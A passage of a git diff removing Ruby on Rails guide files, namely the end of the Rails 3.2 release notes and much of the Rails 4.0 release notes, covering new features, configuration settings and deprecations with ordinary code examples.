initializer in `config/initializers/my_plugin.rb`. - -* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`: - - ```ruby - # Raise exception on mass assignment protection for Active Record models - config.active_record.mass_assignment_sanitizer = :strict - - # Log the query plan for queries taking more than this (works - # with SQLite, MySQL, and PostgreSQL) - config.active_record.auto_explain_threshold_in_seconds = 0.5 - ``` - - The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`: - - ```ruby - # Raise exception on mass assignment protection for Active Record models - config.active_record.mass_assignment_sanitizer = :strict - ``` - -### What to update in your engines - -Replace the code beneath the comment in `script/rails` with the following content: - -```ruby -ENGINE_ROOT = File.expand_path('../..', __FILE__) -ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__) - -require 'rails/all' -require 'rails/engine/commands' -``` - -Creating a Rails 3.2 application --------------------------------- - -```bash -# You should have the 'rails' RubyGem installed -$ rails new myapp -$ cd myapp -``` - -### Vendoring Gems - -Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: [Bundler homepage](http://bundler.io/) - -### Living on the Edge - -`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: - -```bash -$ rails new myapp --edge -``` - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: - -```bash -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -``` - -Major Features --------------- - -### Faster Development Mode & Routing - -Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine. - -### Automatic Query Explains - -Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations. - -Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. - -### Tagged Logging - -When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. - -Documentation -------------- - -From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc. - -Railties --------- - -* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. - -* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`. - -* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. - -* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware. - -* Display mounted engines' routes in `rake routes`. - -* Allow to change the loading order of railties with `config.railties_order` like: - - ```ruby - config.railties_order = [Blog::Engine, :main_app, :all] - ``` - -* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. - -* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. - -* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory. - -* Add an alias `d` for `destroy`. This works for engines too. - -* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author` - -* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example, - - ```ruby - rails g scaffold Post title:string:index author:uniq price:decimal{7,2} - ``` - - will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively. - -* Turn gem has been removed from default Gemfile. - -* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command. - -* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`. - -#### Deprecations - -* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies. - -Action Mailer -------------- - -* Upgraded `mail` version to 2.4.0. - -* Removed the old Action Mailer API which was deprecated since Rails 3.0. - -Action Pack ------------ - -### Action Controller - -* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be. - -* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`. - -* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail. - - ```ruby - class CarsController - layout 'single_car', :only => :show - end - ``` - - Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions. - -* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`. - -* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. - -* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. - -* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors. - -* Responders now return 204 No Content for API requests without a response body (as in the new scaffold). - -* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]` - - ```ruby - cookies[:email] = 'user@example.com' - get :index - assert_equal 'user@example.com', cookies[:email] - ``` - - To clear the cookies, use `clear`. - - ```ruby - cookies.clear - get :index - assert_nil cookies[:email] - ``` - - We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created. - -* `send_file` now guesses the MIME type from the file extension if `:type` is not provided. - -* MIME type entries for PDF, ZIP and other formats were added. - -* Allow `fresh_when/stale?` to take a record instead of an options hash. - -* Changed log level of warning for missing CSRF token from `:debug` to `:warn`. - -* Assets should use the request protocol by default or default to relative if no request is available. - -#### Deprecations - -* Deprecated implied layout lookup in controllers whose parent had an explicit layout set: - - ```ruby - class ApplicationController - layout "application" - end - - class PostsController < ApplicationController - end - ``` - - In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. - -* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. - -* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`. - -* Deprecated `method_missing` in favor of `action_missing` for missing actions. - -* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. - -### Action Dispatch - -* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`. - -* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. - -* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. - -* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. - -#### Deprecations - -* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead. - -### Action View - -* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`. - - ```erb - <%= form_for @post do |f| %> - <%= f.button %> - <% end %> - ``` - -* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'. - -* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. - - ```erb - <%= form_for(@offer, :namespace => 'namespace') do |f| %> - <%= f.label :version, 'Version' %>: - <%= f.text_field :version %> - <% end %> - ``` - -* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit. - -* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this: - - ```ruby - @items.each do |item| - content_tag_for(:li, item) do - Title: <%= item.title %> - end - end - ``` - - You can do this: - - ```ruby - content_tag_for(:li, @items) do |item| - Title: <%= item.title %> - end - ``` - -* Added `font_path` helper method that computes the path to a font asset in `public/fonts`. - -#### Deprecations - -* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`. - -### Sprockets - -* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`. - -Active Record -------------- - -* Boolean columns with 'on' and 'ON' values are type cast to true. - -* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default. - -* Implemented `ActiveRecord::Relation#explain`. - -* Implements `ActiveRecord::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block. - -* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. - -* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores. - - ```ruby - class User < ActiveRecord::Base - store :settings, accessors: [ :color, :homepage ] - end - - u = User.new(color: 'black', homepage: '37signals.com') - u.color # Accessor stored attribute - u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor - ``` - -* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed). - - ``` - rake db:migrate SCOPE=blog - ``` - -* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`. - -* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes. - - ```ruby - Client.where(:active => true).pluck(:id) - # SELECT id from clients where active = 1 - ``` - -* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name. - -* Add `ActiveRecord::Relation#uniq` for generating unique queries. - - ```ruby - Client.select('DISTINCT name') - ``` - - ..can be written as: - - ```ruby - Client.select(:name).uniq - ``` - - This also allows you to revert the uniqueness in a relation: - - ```ruby - Client.select(:name).uniq.uniq(false) - ``` - -* Support index sort order in SQLite, MySQL and PostgreSQL adapters. - -* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. - - ```ruby - has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized - ``` - -* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`. - -* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation. - -* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures. - -* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it. - - ```ruby - User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") - ``` - -* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`. - - This makes it possible to write the following: - - ```ruby - class Order < ActiveRecord::Base - def cancel! - transaction do - lock! - # ... cancelling logic - end - end - end - ``` - - as: - - ```ruby - class Order < ActiveRecord::Base - def cancel! - with_lock do - # ... cancelling logic - end - end - end - ``` - -### Deprecations - -* Automatic closure of connections in threads is deprecated. For example the following code is deprecated: - - ```ruby - Thread.new { Post.find(1) }.join - ``` - - It should be changed to close the database connection at the end of the thread: - - ```ruby - Thread.new { - Post.find(1) - Post.connection.close - }.join - ``` - - Only people who spawn threads in their application code need to worry about this change. - -* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`. - - ```ruby - class Project < ActiveRecord::Base - self.table_name = "project" - end - ``` - - Or define your own `self.table_name` method: - - ```ruby - class Post < ActiveRecord::Base - def self.table_name - "special_" + super - end - end - - Post.table_name # => "special_posts" - - ``` - -Active Model ------------- - -* Add `ActiveModel::Errors#added?` to check if a specific error has been added. - -* Add ability to define strict validations with `strict => true` that always raises exception when fails. - -* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior. - -### Deprecations - -* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated. - -* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`. - -Active Resource ---------------- - -* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found. - -Active Support --------------- - -* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities. - - ```ruby - Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) - - Logger.tagged("BCX") { Logger.info "Stuff" } - # Logs "[BCX] Stuff" - - Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } - # Logs "[BCX] [Jason] Stuff" - - Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } - # Logs "[BCX] [Jason] Stuff" - ``` - -* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start. - -* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs. - -* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names. - -* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name. - -* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist. - -* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`. - -* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`. - -* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace. - -* The inflector understands acronyms. - -* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges. - - ```ruby - Event.where(:created_at => Time.now.all_week) - Event.where(:created_at => Time.now.all_day) - ``` - -* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends. - -* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat. - -* Added `ActiveSupport::Cache::NullStore` for use in development and testing. - -* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library. - -### Deprecations - -* `ActiveSupport::Base64` is deprecated in favor of `::Base64`. - -* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern. - -* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library. - -* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`. - -* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block. - -* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place. - -* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating. - -* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing. - - ```ruby - f = File.open('foo.log', 'w') - f.sync = true - ActiveSupport::BufferedLogger.new f - ``` - -* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem. - -Credits -------- - -See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. - -Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev). diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md deleted file mode 100644 index 4615cf1..0000000 --- a/source/4_0_release_notes.md +++ /dev/null @@ -1,284 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 4.0 Release Notes -=============================== - -Highlights in Rails 4.0: - -* Ruby 2.0 preferred; 1.9.3+ required -* Strong Parameters -* Turbolinks -* Russian Doll Caching - -These release notes cover only the major changes. To learn about various bug -fixes and changes, please refer to the change logs or check out the [list of -commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails -repository on GitHub. - --------------------------------------------------------------------------------- - -Upgrading to Rails 4.0 ----------------------- - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. - - -Creating a Rails 4.0 application --------------------------------- - -``` - You should have the 'rails' RubyGem installed -$ rails new myapp -$ cd myapp -``` - -### Vendoring Gems - -Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: [Bundler homepage](http://bundler.io) - -### Living on the Edge - -`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: - -``` -$ rails new myapp --edge -``` - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: - -``` -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -``` - -Major Features --------------- - -[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png) - -### Upgrade - -* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required -* **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. -* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. -* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. -* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. -* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. -* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. -* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. - -### ActionPack - -* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). -* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). -* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. -* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation. -* **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. -* **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. -* **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. -* **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. - -### General - - * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`) - * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables. - * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file. - * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important. - * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store. - * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers. - * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. - -NOTE: Check that the gems you are using are threadsafe. - - * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources. - -### Security - -* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. -* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. -* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). - -Extraction of features to gems ---------------------------- - -In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back. - -* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders)) -* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) -* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) -* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) -* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia-blog-blog.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) -* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Sprockets ([GitHub](https://github.com/rails/sprockets-rails)) -* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876)) - -Documentation -------------- - -* Guides are rewritten in GitHub Flavored Markdown. - -* Guides have a responsive design. - -Railties --------- - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes. - -### Notable changes - -* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) - -* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`. - -* Threadsafe on by default - -* Ability to use a custom builder by passing `--builder` (or `-b`) to - `rails new` has been removed. Consider using application templates - instead. ([Pull Request](https://github.com/rails/rails/pull/9401)) - -### Deprecations - -* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded. - -* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies. - -Action Mailer -------------- - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes. - -### Notable changes - -### Deprecations - -Active Model ------------- - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes. - -### Notable changes - -* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. - -* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box. - -### Deprecations - -Active Support --------------- - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes. - -### Notable changes - -* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. - -* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. - -* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. - -* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. - -* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` - when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: - - ```ruby - # ActiveSupport 3.x - "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass - "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass - - # ActiveSupport 4 - "asdf".to_date # => ArgumentError: invalid date - "333".to_date # => Fri, 29 Nov 2013 - ``` - -### Deprecations - -* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. - -* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. - -* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. - -* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols). - -* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library. - -* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` - -Action Pack ------------ - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes. - -### Notable changes - -* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages. - -### Deprecations - - -Active Record -------------- - -Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes. - -### Notable changes - -* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. - - * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given. - The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible). - The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default` - - * New method `reversible` makes it possible to specify code to be run when migrating up or down. - See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible) - - * New method `revert` will revert a whole migration or the given block. - If migrating down, the given migration / block is run normally. - See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations) - -* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. - -* Add `Relation#load` to explicitly load the record and return `self`. - -* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. - -* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. - -* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: - - store :settings, accessors: [ :color, :homepage ], coder: JSON - -* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your 